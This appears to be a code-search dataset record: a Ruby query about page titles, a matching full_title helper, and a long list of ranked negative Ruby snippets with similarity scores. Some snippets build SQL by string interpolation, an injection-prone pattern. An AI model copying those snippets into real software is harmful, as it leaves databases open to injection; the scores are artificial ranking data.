potential_name = potential_name.gsub(/[,;]/, '')\n potential_extension = ''\n if file.mime_type == 'image/png'\n potential_extension = '.png'\n elsif file.mime_type == 'image/tiff'\n potential_extension = '.png'\n elsif file.mime_type == 'image/jpeg' || file.mime_type == 'image/jpg'\n potential_extension = '.jpg'\n end\n return potential_name\n #return potential_name + potential_extension\n end", "def processed_original_filename_without_extension\n processed_filename original_filename_without_extension\n end", "def fix_filename\n unless self.filename.blank?\n self.filename.sub!(/^.*\\/([^\\/]*)$/, '\\1')\n self.filename += '.torrent' unless self.filename =~ /\\.torrent$/\n end\n end", "def original_file # Accessor for probably protected value original_filename\r\n original_filename\r\n end", "def custom_filename(file, opts = {})\n file = CarrierWave::SanitizedFile.new(file) if file.is_a?(String)\n base_name = model.respond_to?(\"#{mounted_as}_token\") ? model.send(\"#{mounted_as}_token\") : file.basename\n base_name = \"#{base_name}_cropped_#{crop_args.join('_')}\" if croppable? && opts[:cropping]\n base_name = [opts[:version], base_name].compact.join('_')\n [base_name, file.extension].join('.')\n end", "def upload_file=(file_name)\n self.file_field(:id=>\"multifile_upload\").set(File.expand_path(File.dirname(__FILE__)) + \"/../../data/sakai-oae/\" + file_name)\n end", "def to_actual_filename!\n filename = to_actual_filename\n replace(filename) if filename\n end", "def filename\n #\"#{original_filename.split('.').first}.png\" if original_filename\n \"img.#{original_filename.split('.').last}\" if original_filename\n #original_filename if original_filename\n end", "def assignment_upload_file_name\n read_attribute(:file_name)\n end", "def filename\n @filename ||= attached_file&.original_filename&.dup\n end", "def default_name\n self.name ||= File.basename(data_file.filename, '.*').titleize if data_file.filename && !self.name\n end", "def file_name\n return @file_name\n end", "def file_name\n return @file_name\n end", "def filename\n unless @filename\n load_file_params\n end\n @filename\n end", "def full_filename (for_file = model.source.file)\n super.chomp(File.extname(super)) + '.png'\n end", "def filename\n \"something.jpg\" if original_filename\n end" ]
[ "0.77587795", "0.77092165", "0.7650253", "0.76119834", "0.76119834", "0.7511504", "0.7509861", "0.7469618", "0.7408529", "0.7325303", "0.7303221", "0.7293142", "0.72422063", "0.7219045", "0.717902", "0.7177287", "0.71570605", "0.71570605", "0.7156595", "0.7156595", "0.71199685", "0.71060795", "0.7078763", "0.7055206", "0.7055206", "0.70549446", "0.7051379", "0.7042117", "0.7037963", "0.70329183", "0.70156527", "0.7000826", "0.69688857", "0.69544435", "0.69500697", "0.69326687", "0.6927857", "0.6925345", "0.6905939", "0.6900493", "0.6885877", "0.6882137", "0.68809104", "0.68809104", "0.68774104", "0.6858724", "0.6858724", "0.6858724", "0.68583566", "0.6851462", "0.6842949", "0.6831099", "0.683003", "0.68283087", "0.6826605", "0.6825505", "0.6805264", "0.6804222", "0.6792292", "0.6785332", "0.6772306", "0.67703664", "0.6766309", "0.67125064", "0.671188", "0.6705976", "0.66968745", "0.6684644", "0.6676638", "0.66709805", "0.66707826", "0.66682374", "0.6648865", "0.6648865", "0.6648865", "0.6647036", "0.6643361", "0.6638393", "0.66348225", "0.66304153", "0.6623784", "0.6606556", "0.66008097", "0.65934175", "0.65812045", "0.6571191", "0.6563757", "0.65520394", "0.6550502", "0.6538596", "0.6535129", "0.6527255", "0.65192956", "0.6518568", "0.6518133", "0.65173864", "0.65096986", "0.65096986", "0.6508294", "0.65067494", "0.6501712" ]
0.0
-1
Returns the full title on per page basis.
def full_title(page_title) base_title = "ARealtor" if page_title.empty? base_title else "#{base_title} | #{page_title}" end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def title\n @title_pages.each { |tp| tp.title and return tp.title }\n nil\n end", "def page_title\n page.title\n end", "def full_title(page_title)\n if page_title.empty?\n @@base_title\n else\n \"#{@@base_title} | #{page_title}\"\n end\n end", "def full_title(page_title)\n title = base_title\n\n Array(page_title).each do |var|\n title << (' | ' + var) unless var.empty? \n end\n\n title\n end", "def full_title page_title\n base_title = \"emo-search\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end", "def full_title(page_title)\n base_title = \"Proman 2013\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end", "def title\n @title ||= begin\n if site_title && page_title != site_title\n page_title + TITLE_SEPARATOR + site_title\n elsif site_description && site_title\n site_title + TITLE_SEPARATOR + site_title_extention_or_description\n else\n page_title || site_title\n end\n end\n\n return page_number + @title if page_number\n\n @title\n end", "def full_title(page_title)\n base_title = \"Proman 2014\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end", "def full_title(page_title)\n\t\tif page_title.empty?\n\t\t\tbase_title\n\t\telse\n\t\t\t\"#{base_title} | #{page_title}\"\n\t\tend\n\tend", "def title\n return @title if @title\n if matches = class_const(:TITLE_RE).match(page)\n @title = matches[1].to_s.strip\n title_processor\n @title = decode_entities(@title)\n end\n end", "def full_title(page_title)\n page_title.blank? ? \"My Defi Pie\" : \"My Defi Pie | #{page_title}\"\n end", "def full_title(page_title)\n base_title = \"Anand Sampat\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end", "def page_title\n @page_title ||= format_string(page[\"title\"]) || site_title\n end", "def full_title(page_title)\n if page_title.empty?\n site_name\n else\n \"#{page_title} | #{site_name}\"\n end\n end", "def full_title(page_title)\n if page_title.empty?\n site_name\n else\n \"#{page_title} | #{site_name}\"\n end\n end", "def full_title(page_title)\n if page_title.empty?\n site_name\n else\n \"#{page_title} | #{site_name}\"\n end\n end", "def full_title(page_title)\n if page_title.empty?\n site_name\n else\n \"#{page_title} | #{site_name}\"\n end\n end", "def full_title(page_title)\n if page_title.empty?\n site_name\n else\n \"#{page_title} | #{site_name}\"\n end\n end", "def full_title(page_title)\n if page_title.empty?\n site_name\n else\n \"#{page_title} | #{site_name}\"\n end\n end", "def full_title(page_title)\n if page_title.empty?\n site_name\n else\n \"#{page_title} | #{site_name}\"\n end\n end", "def full_title(page_title = '')\n\t\tif page_title.empty?\n\t\t\tself.base_title\n\t\telse\n\t\t\tpage_title + \" | \" + self.base_title\n\t\tend\n\tend", "def full_title(page_title)\n\t\tpage_title = PAGE_TITLE \n \tbase_title = BASE_TITLE\n if page_title.empty?\n base_title\n else\n \"#{page_title} | #{base_title}\"\n end\n end", "def full_title(page_title)\n base_title = \"StoryStore\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end", "def full_title(page_title)\n if page_title.empty?\n site_name\n else\n \"#{page_title} | Alfalfa\"\n end\n end", "def full_title(page_title)\n base_title = 'Sample CMS'\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end", "def full_title(page_title)\n base_title = \"Quick-Score.com\"\n if page_title.empty?\n base_title\n else\n \"#{page_title} @ #{base_title}\"\n end\n end", "def page_title\n end", "def full_title(page_title)\n base_title = \"Relativies\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end", "def full_title(page_title = '')\n base_title = 'My Money'\n if page_title.empty?\n base_title\n else\n \"#{page_title} | #{base_title}\"\n end\n end", "def full_title(page_title)\n \t\tif page_title.empty?\n \t\t\tsite_name\n \t\telse\n \t\t\t\"#{page_title} | #{site_name}\"\n \t\tend\n \tend", "def full_title(page_title)\n base_title = \"BH Herbarium\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end", "def full_title(page_title)\n base_title = \"Koprulu Sector\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end", "def page_title(title)\n content_for_wrapper(:page_title, title)\n end", "def full_title(page_title)\n if page_title.empty?\n site_name\n else\n #{page_title} | #{site_name}\n end\n end", "def full_title(page_title)\n\t\tbase_title=\"StemLoops\"\n\t\tif page_title.empty?\n\t\t\tbase_title\n\t\telse\n\t\t\tbase_title+\" | \"+page_title\n\t\tend\n\tend", "def full_title(page_title)\n base_title = \"WDIS\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end", "def full_title(page_title)\n base_title = \"GamePlayDate\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end", "def full_title(page_title)\n base_title = \"Adit\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end", "def full_title(page_title)\n base_title = \"WebSchool\"\n if page_title.empty?\n base_title\n else\n \"#{page_title} - #{base_title}\"\n end\n end", "def full_title(page_title)\n\t\tbase_title = \"dreamly\"\n\t\tif page_title.empty?\n\t\t\tbase_title\n\t\telse\n\t\t\t\"#{base_title} | #{page_title}\"\n\t\tend\n\tend", "def page_title\n title = content_for?(:title) ? \" - #{content_for(:title)}\" : \"\"\n \"Todobadour#{title}\"\n end", "def full_title(page_title = '')\n base_title = \"Tradies\"\n if page_title.empty?\n base_title\n else\n page_title + \" | \" + base_title\n end\n end", "def title\n @title ||= heirarchy.full_name\n end", "def full_title(page_title)\n # trans\n base_title = I18n.t(\"app.title.full\")\n \n #insert sep\n page_title = \"| \"+page_title if !page_title.empty?\n #results\n \"#{base_title} | #{page_title}\"\n end", "def full_title(page_title = '')\n base_title = \"Spookd.me\"\n if page_title.empty?\n base_title\n else \n page_title\n end\n end", "def full_title(page_title)\n\t\tbase_title = \"Hybrid Edu\"\n\t\tif page_title.empty?\n\t\t\tbase_title\n\t\telse\n\t\t\t\"#{base_title} | #{page_title}\"\n\t\tend\n\tend", "def full_title(page_title)\n base_title = \"Secret Sauce\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end", "def full_title(page_title)\n\t\tbase_title = \"Myreef.tv\"\n\t\tif page_title.empty?\n\t\t\tbase_title\n\t\telse\n\t\t\t\"#{base_title} | #{page_title}\"\n\t\tend\n\tend", "def full_title(page_title = '')\n base_title = \"NKUNet\"\n if page_title.empty?\n base_title\n else\n page_title + \" | \" + base_title\n end\n end", "def full_title(page_title = '')\n base_title = app_name\n if page_title.empty?\n base_title\n else\n \"#{page_title} | #{base_title}\"\n end\n end", "def page_title\n @page_title || TaliaCore::SITE_NAME\n end", "def full_title(page_title)\n base_title = \"Bill Pay Center\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} / #{page_title}\"\n end\n end", "def full_title(page_title)\n if page_title.empty?\n app_name\n else\n \"#{page_title} | #{app_name}\"\n end\n end", "def full_title(page_title)\n\t\tbase_title = \"Scheduler\"\n\t\tif page_title.empty?\n\t\t\tbase_title\n\t\telse\n\t\t\t\"#{base_title} | #{page_title}\".html_safe\n\t\tend\n\tend", "def full_title(page_title = '')\n base_title = \"Hearth Helper\"\n if page_title.empty?\n base_title\n else\n page_title + \" - \" + base_title\n end\n end", "def full_title(page_title = '')\n base_title = \"Colegio de Notarios\"\n if page_title.empty?\n base_title\n else\n page_title + \" | \" + base_title\n end\n end", "def page_title; end", "def full_title(page_title)\n base_title = 'Vietnam Beauty Spots'\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end", "def get_display_title(title)\n page_info_get_val(title, 'displaytitle', 'displaytitle')\n end", "def title\n @title ||= Utilities.longest_common_substring_in_array(titles.values) \n @title = titles[:og_title] unless title_ok?\n @title = titles[:html_title] unless title_ok?\n @title = titles[:from_doc] unless title_ok?\n\n @title\n end", "def full_title(page_title)\n base_title = \"Rails Project\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end", "def full_title(page_title = '')\n base_title = t('layouts.header.heading')\n if page_title.empty?\n base_title\n else\n base_title + \" | \" + page_title\n end\n end", "def full_title(page_title = '')\n base_title = \"RaptorQueue\"\n page_title.empty? ? base_title : page_title + \" | \" + base_title\n end", "def page_title\n title = \"Amplify\"\n title.prepend(\"#{@page_title} | \") if @page_title\n title\n end", "def page_title(title)\n \"gbchaosmaster#{\" | #{title}\" unless title.blank?}\"\n end", "def page_title\n klass = Module.const_get(self.page.split('_').first)\n return klass.find(self.page.split('_').last.to_i).name || klass.find(self.page.split('_').last.to_i).title\n rescue NameError\n return self.page\n end", "def title\n page.title\n end", "def page_title(page)\n return site_title if page.title.nil? || page.title.empty?\n\n title = t(\"titles.#{page.title}\",\n flavor: settings.site_name.capitalize,\n default: [\"docs.#{page.parent}.#{page.title}\".to_sym,\n page.title.to_s.titleize])\n\n if page.parent.nil?\n parent_title = site_title\n else\n parent_title = t(\"titles.#{page.parent}\",\n flavor: settings.site_name.capitalize,\n default: site_title)\n end\n\n \"#{title} | #{parent_title}\"\n end", "def full_title(page_title)\n base_title = \"Scirate\"\n if page_title.empty?\n base_title\n else\n sanitize(\"#{base_title} | #{page_title}\")\n end\n end", "def get_page_title\n uri = request.request_uri\n section = uri.split(\"/\").last\n title = case section\n # these should be consistent now\n when \"questions\" then \"Key Questions\"\n when \"publications\" then \"Publication Information\"\n when \"arms\" then \"Study Arms\"\n when \"design\" then \"Study Design\"\n when \"baselines\" then \"Baseline Characteristics\"\n when \"outcomes\" then \"Outcome Setup\"\n when \"results\" then \"Results\"\n when \"adverse\" then \"Adverse Events\"\n when \"quality\" then \"Study Quality\"\n else \"\"\n end\n return title\n end", "def title(page_title)\n\t content_for(:title) { page_title }\n\tend", "def title(page_title)\n content_for(:title) { page_title }\n end", "def title(page_title)\n content_for(:title) { page_title }\n end", "def title(page_title)\n content_for(:title) { page_title }\n end", "def title(page_title)\n content_for(:title) { page_title }\n end", "def full_title(page_title = '')\n base_title = t('application.site_title')\n if page_title.empty?\n base_title\n else\n page_title + ' - ' + base_title\n end\n end", "def full_title(page_title)\r\n\tbase_title = \"whichizrite\"\r\n\tif page_title.empty?\r\n\t\tbase_title\r\n\telse\r\n\t\t\"#{base_title} | #{page_title}\"\r\n\tend\r\nend", "def title(page_title)\n content_for :title do\n page_title\n end\n end", "def page_title() nil end", "def full_title(page_title = '')\n base_title = \"WriteIt\"\n if page_title.empty?\n base_title\n else\n page_title + \" | \" + base_title\n end\n end", "def page_title\n nil\n end", "def page_title\n \"#{human_readable_type} | #{title.first} | ID: #{id} | #{I18n.t('hyrax.product_name')}\"\n end", "def full_title(page_title=\"\")\n base_title = \"Apartment showoff\"\n page_title.empty? ? base_title : \"#{page_title} | #{base_title}\"\n end", "def full_title(page_title = \"\")\n \tbase_title = \"Facebook Clone\"\n \tif page_title.empty?\n \t\tbase_title\n \telse\n \t\tpage_title + \" | \" + base_title\n \tend\n end", "def page_title(options = {})\n return \"\" if @page.title.blank?\n\n options = {\n prefix: \"\",\n suffix: \"\",\n separator: \"\"\n }.update(options)\n title_parts = [options[:prefix]]\n title_parts << if response.status == 200\n @page.title\n else\n response.status\n end\n title_parts << options[:suffix]\n title_parts.reject(&:blank?).join(options[:separator]).html_safe\n end", "def title(page_title)\n \tcontent_for(:title) { page_title }\n \tend", "def page_title\n if @title.present?\n I18n.t('page_title', :page_title => @title, :blog_title => blog_title)\n else\n I18n.t('home_title', :blog_title => blog_title)\n end\n end", "def page_title_raw\n \t@page_title ? \"#{@page_title}#{page_no} | \" : ''\n end", "def title_with_page_title_check\n return @page.title if @page && !@page.title.blank?\n title_without_page_title_check\n end", "def page_title\n layout = controller.send(:_layout)\n base_title = I18n.t(\"layouts.#{layout}.title\", default: :'layouts.application.title')\n\n i18n_scope = \"#{params[:controller].gsub('/', '.')}.#{action_name}\"\n i18n_parts = [\n content_for(:page_title),\n I18n.t(:page_title, default: \"\", scope: i18n_scope).presence,\n I18n.t(:title, default: \"\", scope: i18n_scope).presence\n ]\n title_content = i18n_parts.compact.first\n [base_title, title_content].compact.join(' - ')\n end", "def base_title(page_title = '')\n base_title = \"Sergio Mironescu\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end", "def full_title(page_title)\n\t\tbase_title = CONFIG[:title] || \"Ruby on Rails Template\"\n\t\tif page_title.empty?\n\t\t\tbase_title\n\t\telse\n\t\t\t\"#{base_title} | #{page_title}\"\n\t\tend\n\tend", "def full_title(page_title)\n\t\tbase_title = CONFIG[:title] || \"Ruby on Rails Template\"\n\t\tif page_title.empty?\n\t\t\tbase_title\n\t\telse\n\t\t\t\"#{base_title} | #{page_title}\"\n\t\tend\n\tend", "def page_title(title)\n content_for :page_title, title\n end", "def page_title(page_title)\n content_for_layout :page_title, page_title\n end", "def full_title(page_title)\n base_title = \"Geocode App\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end", "def title(page_title)\n content_for(:title) { page_title }\n end", "def title(page_title)\n content_for(:title) { page_title }\n end", "def scrape_title( page )\n\t\tpage.title.split( ' - ' )[0]\n\tend", "def title(page_title)\n content_for(:title) { page_title }\n\n end" ]
[ "0.83595914", "0.7992085", "0.78369653", "0.78206384", "0.77611417", "0.77517354", "0.7746882", "0.77463675", "0.7694665", "0.76935065", "0.7685117", "0.7685059", "0.7682162", "0.7677138", "0.7677138", "0.7677138", "0.7677138", "0.7677138", "0.7677138", "0.7677138", "0.76719195", "0.7668856", "0.7665899", "0.7651132", "0.7640039", "0.76282126", "0.76264554", "0.76245624", "0.7620248", "0.7619754", "0.7619583", "0.76004505", "0.7592471", "0.75921315", "0.756794", "0.756561", "0.7550466", "0.75445455", "0.7537696", "0.7535807", "0.7528985", "0.75248975", "0.75176626", "0.7513254", "0.75089765", "0.7496971", "0.7487234", "0.74857485", "0.7474636", "0.7466556", "0.7462634", "0.74364156", "0.74359506", "0.7426332", "0.7418953", "0.74184585", "0.7407082", "0.7406558", "0.74053806", "0.7404365", "0.7402347", "0.7397051", "0.7395213", "0.73944366", "0.7392344", "0.73836845", "0.7381517", "0.73702896", "0.73557544", "0.73506254", "0.7350359", "0.7350055", "0.7350055", "0.7350055", "0.7350055", "0.73433447", "0.7334402", "0.73332334", "0.7329921", "0.7326597", "0.7291808", "0.7291638", "0.72797126", "0.72763777", "0.7275594", "0.7273482", "0.727232", "0.7271047", "0.7270596", "0.7270159", "0.72680455", "0.7267668", "0.7267668", "0.72572565", "0.7248395", "0.7246532", "0.7243916", "0.7243916", "0.72407055", "0.7240488" ]
0.75842434
34
Returns joke from ICNDB
def icndb_joke url = "http://api.icndb.com/jokes/random" begin joke = open(url).read() hash = JSON.parse joke joke_string = hash['value']['joke'] rescue joke_string='' end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def joke(id)\n path = id.nil? ? \"/\" : \"/j/#{id}\"\n resp = http.get(path).tap do |resp|\n if resp.body.status == 404\n raise FunnyGuy::HTTPError::NotFound, error_handler.response_values(resp.env)\n end\n end\n FunnyGuy::DataSource::ICanHasDadJoke::Joke.new resp.body\n end", "def getNick jid\n\t\tuser = @users.read [\"nick\"], [\"jid\", jid]\n\t\tif user.count > 0\n\t\t\tuser[0]['nick']\n\t\telse\n\t\t\tnil\n\t\tend\n\tend", "def user\n\t\tdatastore['IRCNICK']\n\tend", "def kid_id\n Kid.all.find_by(name:$kid_name)\n end", "def kid\n Kid.all.find {|kid| kid.id == self.kid_id}\n end", "def find_interest_id(db, interest_name)\n interest_id = db.execute(\"SELECT interests.id FROM interests WHERE interest='#{interest_name}'\")\n interest_id[0][0]\nend", "def joke; end", "def nickname\n @nickname\n end", "def nickname\n @nick\n end", "def skill_id_to_name(db, skill_id)\n skill_name = db.execute(\"SELECT name FROM skills WHERE id=(?)\", skill_id)\n if skill_name.length > 0\n skill_name[0][0]\n end\nend", "def invent_nick(jid)\n /^([^@]+)/ =~ jid.to_s\n return jid if not $1 or not User.valid_nick?($1)\n return $1 if not get_user_with_nick($1)\n (2 .. 100).each do |i|\n new_nick = \"#{$1}#{i}\"\n return new_nick if not get_user_with_nick(new_nick)\n end\n jid\n end", "def nickname\n return @poco_data[:nickname] unless @poco_data == nil\n pick_first_node(@poco.xpath('./poco:nickname'))\n end", "def nickname\n return @nickname\n end", "def show\n\t\t@joke = Joke.find(params[:id])\n\tend", "def nick\r\n return for_context(nil, false) { |c| c.nick }\r\n end", "def jid\n client.jid\n end", "def key\n @key.id2name\n end", "def notebook\n @notebook ||= note_store.listNotebooks.select{|notebook| notebook.name == notebook_name}.first\n end", "def nickname\n data = get 'name', resource: 'leaderboard'\n data.name\n end", "def username; datastore['USERNAME']; end", "def get_username_for_id(user_id)\n return $db.execute(\"SELECT username FROM users WHERE user_id = ?\", user_id)[0][\"username\"]\nend", "def other_notes_key\n Observation.other_notes_key\n end", "def client(name)\n client_to_find = name\n @clients.find {|key, value| key == client_to_find } \n end", "def bikes_owned\n DATABASE.execute(\"SELECT bikes.bike_name FROM bikes JOIN cyclists ON bikes.cyclist_id = cyclists.id WHERE cyclists.id = #{id}\")\n end", "def bikes_owned\n DATABASE.execute(\"SELECT bikes.bike_name FROM bikes JOIN cyclists ON bikes.cyclist_id = cyclists.id WHERE cyclists.id = #{id}\")\n end", "def getNickFromId id\n\t\tuser = @users.read [\"nick\"], [\"id\", id]\n\t\tif user.count > 0\n\t\t\tuser[0]['nick']\n\t\telse\n\t\t\tnil\n\t\tend\n\tend", "def nick\n @name\n end", "def get_key record\n record\n end", "def set_joke\n @joke = Joke.find(params[:id])\n end", "def set_joke\n @joke = Joke.find(params[:id])\n end", "def key\n Key.new(text: @head.fetch[3])\n end", "def user\n datastore['IMAPUSER']\n end", "def GetUserId(user)\r\n \r\n mongoSession = Moped::Session.new(['127.0.0.1:27017']) # our mongo database is local\r\n mongoSession.use(\"enhabit\") # this is our current database\r\n\r\n begin\r\n queryObj = Hash.new\r\n queryObj[\"Username\"] = user\r\n \r\n account = Array.new\r\n mongoSession.with(safe: true) do |session|\r\n account = session[:accounts].find(queryObj).to_a\r\n end\r\n \r\n if account.count == 0\r\n return nil\r\n else\r\n return account[0][\"UserId\"]\r\n end\r\n rescue Moped::Errors::OperationFailure => e\r\n return nil\r\n end\r\nend", "def [](jid)\n each { |item|\n return(item) if item.jid == jid\n }\n nil\n end", "def get_note(obj, id)\n obj['notes'].find {|n| n['persistent_id'] == id}\nend", "def searchNick(nick)\n #use %! string delimiters because to avoid escaping doublequotes in URI while\n #also keeping the #{nick} substitution\n uri=URI.escape(%!_design/filter/_view/nymIDByNick?key=\"#{nick}\"!)\n resjson=get(uri).body\n end", "def eye\n fetch('naruto.eyes')\n end", "def find_for_koala(identifier)\n self.first(:conditions => { koala_identifier_field => identifier })\n end", "def getId jid\n\t\tuser = @users.read [\"id\"], [\"jid\", jid]\n\t\tif user.count > 0\n\t\t\tuser[0]['id']\n\t\telse\n\t\t\tnil\n\t\tend\n\tend", "def get_name(conn, id)\n conn.exec_params(\"SELECT name FROM actors WHERE id=$1\",\n [id])[0][\"name\"]\nend", "def for_judge(judge)\n pilot_flight.pfj_results.where(:judge_id => judge).first\n end", "def nickname\n user_info['nickname']\n end", "def search_kanji(query, limit = 10)\n \n tokens = query.chars.select { |c| c.kanji? }\n results = []\n\n if tokens.present?\n @search_kanji ||= @database.prepare(SEARCH_KANJI_SQL)\n\n rows = @search_kanji.execute(tokens.join(' OR '), limit).to_a\n end\n\n rows.map do |row|\n kanji = Kanji.decode(row['serialized'])\n\n kanji.character = row['character']\n kanji.id = row['id'].to_i\n\n kanji\n end\n end", "def getnick(nickname)\n send_command(:getnick, @options[:nickname] = nickname.to_s)\n read_response # \"Nickname set to #{nickname}\"\n self\n end", "def random_joke\n joke nil\n end", "def redis_key(str)\n \"leader_board:#{self.id}:#{str}\"\n end", "def get_evernote_notebook_name(note_store, notebook_guid)\n notebook_name = ''\n notebooks = note_store.listNotebooks\n\n notebooks.each do |notebook|\n if notebook.guid == notebook_guid\n notebook_name = notebook.name\n end\n end\n\n return notebook_name\n end", "def neo_id\n getId\n end", "def connection_for nick\n @connection_cache[nick]\n end", "def nickname\n @attributes[:nickname]\n end", "def oid\n self.elements[:object_i_d]\n end", "def fetch_node_from_db(key)\n # XXX: shorthand object decoding by removing unused & type fields\n obj = db[key][9..-1]\n\n begin\n node = Node.make(obj, 0, :prefix, key, true)\n\n if node && node.inner?\n if node.v2? != v2?\n raise unless root && root.empty?\n if v2?\n @root = make_v2\n else\n @root = make_v1\n end\n end\n end\n\n return node\n rescue Exception\n puts \"TODO: verify\"\n return TreeNode.new\n end\n end", "def find_noteable_id\n GithubImport::IssuableFinder.new(project, note).database_id\n end", "def get_subject_id(database, name)\r\n\tsubject = database.execute(\"SELECT * FROM subjects WHERE name=?\",[name])\r\n\tsubject_id = subject[0][0].to_i\r\nend", "def database\n Jrodb::Database[:default]\n end", "def neo_id\n getId\n end", "def read_key; end", "def fetch_user_kyc_detail\n @user_kyc_detail = UserKycDetail.using_client_shard(client: @client).get_from_memcache(@user_id)\n end", "def fetch_user_kyc_detail\n @user_kyc_detail = UserKycDetail.using_client_shard(client: @client).get_from_memcache(@user_id)\n end", "def extract_key(element)\n if element.is_a?(Item)\n # Use the Item's index instead of tag:\n cdbkey = element.index\n else\n # Read tag as CouchDB Key:\n cdbkey = element.tag\n # Remove the comma from the tag string:\n cdbkey = cdbkey.gsub(\",\",\"\")\n # Prepend a 't' for easier javascript map/reduce functions:\n cdbkey = \"t\" + cdbkey\n end\n return cdbkey\nend", "def _fetch_internal_id(base_id, version)\n # fetch basic motif information\n cur = @dbh.query(\"SELECT ID FROM MATRIX WHERE BASE_ID='#{base_id}'\" \\\n \" and VERSION=#{version}\")\n row = cur.first\n\n int_id = nil\n if row\n int_id = row[\"ID\"]\n else\n warn(\"Failed to fetch internal database ID for JASPAR motif with\" \\\n \" matrix ID '#{base_id}.#{version}'. No JASPAR motif with this\" \\\n \" matrix ID appears to exist.\")\n end\n\n return int_id\n end", "def jid; end", "def jid\n JID::new(attributes['jid'])\n end", "def jid\n JID::new(attributes['jid'])\n end", "def jid\n JID::new(attributes['jid'])\n end", "def omdb_pull(search_key, search_val)\n\n result = Typhoeus.get(\"http://www.omdbapi.com/\", :params => {search_key => search_val})\n result = JSON.parse(result.body)\n result\n\nend", "def watched\n identifier(watched_db) \n end", "def find_by_id(goid)\n self[goid]\n end", "def get_kit_id(op)\n op.inputs[0].retrieve\n op.inputs[0].item&.get(KIT_KEY) || op.input(KIT_PARAMETER)&.value\n end", "def get_project_oid(project_name)\n\n # compare project_name against all projects on the server, return oid when found\n @conn.bimsie1_service_interface.getAllProjects( false, true ).each do |project|\n if project[\"name\"] == project_name\n return project[\"oid\"]\n end\n end\n\n # if not found, raise error\n raise \"No project found with name '\" + project_name + \"'.\"\n end", "def nick\n @bot.nick\n end", "def get_user_id_for_username(username)\n user_id = $db.execute(\"SELECT user_id FROM users WHERE username = ?\", username)\n if user_id != []\n return user_id.first[\"user_id\"]\n else\n return false\n end\nend", "def pass\n datastore['IMAPPASS']\n end", "def subj\r\n Pronouns.get_pronoun_set(@object)[0]\r\n end", "def personen_id(db,name,vorname)\n t = db.execute(\"SELECT id FROM personen WHERE name='\"+name+\n \"' AND vorname='\"+vorname+\"';\")\n if t==[] then\n return nil\n else\n return t[0][0]\n end\nend", "def get_checkpoint_key\n @redis.read(@checkpoint_key)\n end", "def key\n \"#{Goalkeeper.namespace}:#{label}\"\n end", "def nickname\r\n return @user.nickname\r\n end", "def key_id; end", "def joy\n @grpc.joy_likelihood\n end", "def read(name)\n Oj.load(@redis.get(name))\n end", "def query_id; @hit.mrna.entry_id; end", "def get(oid)\n roid=self.oid2roid(oid)\n return nil if roid.empty?\n validate_roid(roid)\n roid_first=roid.first\n node=@nodes[roid_first]\n return node.get(oid) if node\n return nil\n end", "def show_jiak_values\n rsrc = Person.get('remy')\n puts \"name:#{rsrc.name}, age:#{rsrc.age}\"\nend", "def show_jiak_values\n rsrc = Person.get('remy')\n puts \"name:#{rsrc.name}, age:#{rsrc.age}\"\nend", "def find_friend_id(db, friend_name)\n friend_id = db.execute(\"SELECT friends.id FROM friends WHERE friend_name='#{friend_name}'\")\n friend_id[0][0]\nend", "def nick\n @prefix =~ PREFIX_PAT and $1\n end", "def jt\n @pubmed['JT'].strip\n end", "def name\n @name ||= @data[:cn].last\n end", "def get_vmdb_object()\n object = $evm.root[\"#{$evm.root['vmdb_object_type']}\"]\n log(:info, \"Got object: #{object.class} #{object}\")\n return object\n end", "def get(key)\n db.get(key)\n end", "def item_by_persistent_id\n IITTrack.new(@ole.ItemByPersistentID)\n end", "def get_candidate(username)\n candidate = @database.get_item(\n table_name: candidates_table_name,\n key: { \"username\" => username },\n consistent_read: true\n )[:item]\n\n candidate['votes'] = candidate['votes'].to_i if candidate\n candidate\n end", "def get_trainer(uri)\n sparql = \"SELECT DISTINCT ?uri ?name ?surname ?givenName ?fullname ?birth_date ?image_url ?thumbnail_url ?abstract ?team_uri\n WHERE {\n ?uri <http://dbpedia.org/property/name> ?name .\n <#{uri}> <http://dbpedia.org/property/name> ?name .\n OPTIONAL { <#{uri}> <http://dbpedia.org/property/surname> ?surname }.\n OPTIONAL { <#{uri}> <http://dbpedia.org/property/givenName> ?givenName }.\n OPTIONAL { <#{uri}> <http://dbpedia.org/property/fullname> ?fullname }.\n OPTIONAL { <#{uri}> <http://dbpedia.org/property/birthDate> ?birth_date . }.\n OPTIONAL { <#{uri}> <http://xmlns.com/foaf/0.1/depiction> ?image_url . }.\n OPTIONAL { <#{uri}> <http://dbpedia.org/ontology/thumbnail> ?thumbnail_url . }.\n OPTIONAL { <#{uri}> <http://dbpedia.org/ontology/abstract> ?abstract . FILTER ( LANG(?abstract) = 'de' ) }.\n OPTIONAL { ?team_uri <http://dbpedia.org/ontology/coach> <#{uri}> . }.\n }\"\n solution = DBPEDIA.query(sparql).first\n end", "def get_node(string_key)\n pos = self.get_node_pos(string_key)\n return nil if pos.nil?\n\n return @ring[@_sorted_keys[pos]]\n end", "def get_cmdb_ci_by_name\n url = \"#{@service_now_url}/table/cmdb_ci_server?name=#{@name}\"\n\n get_node_data(url)\n end", "def client(name)\n 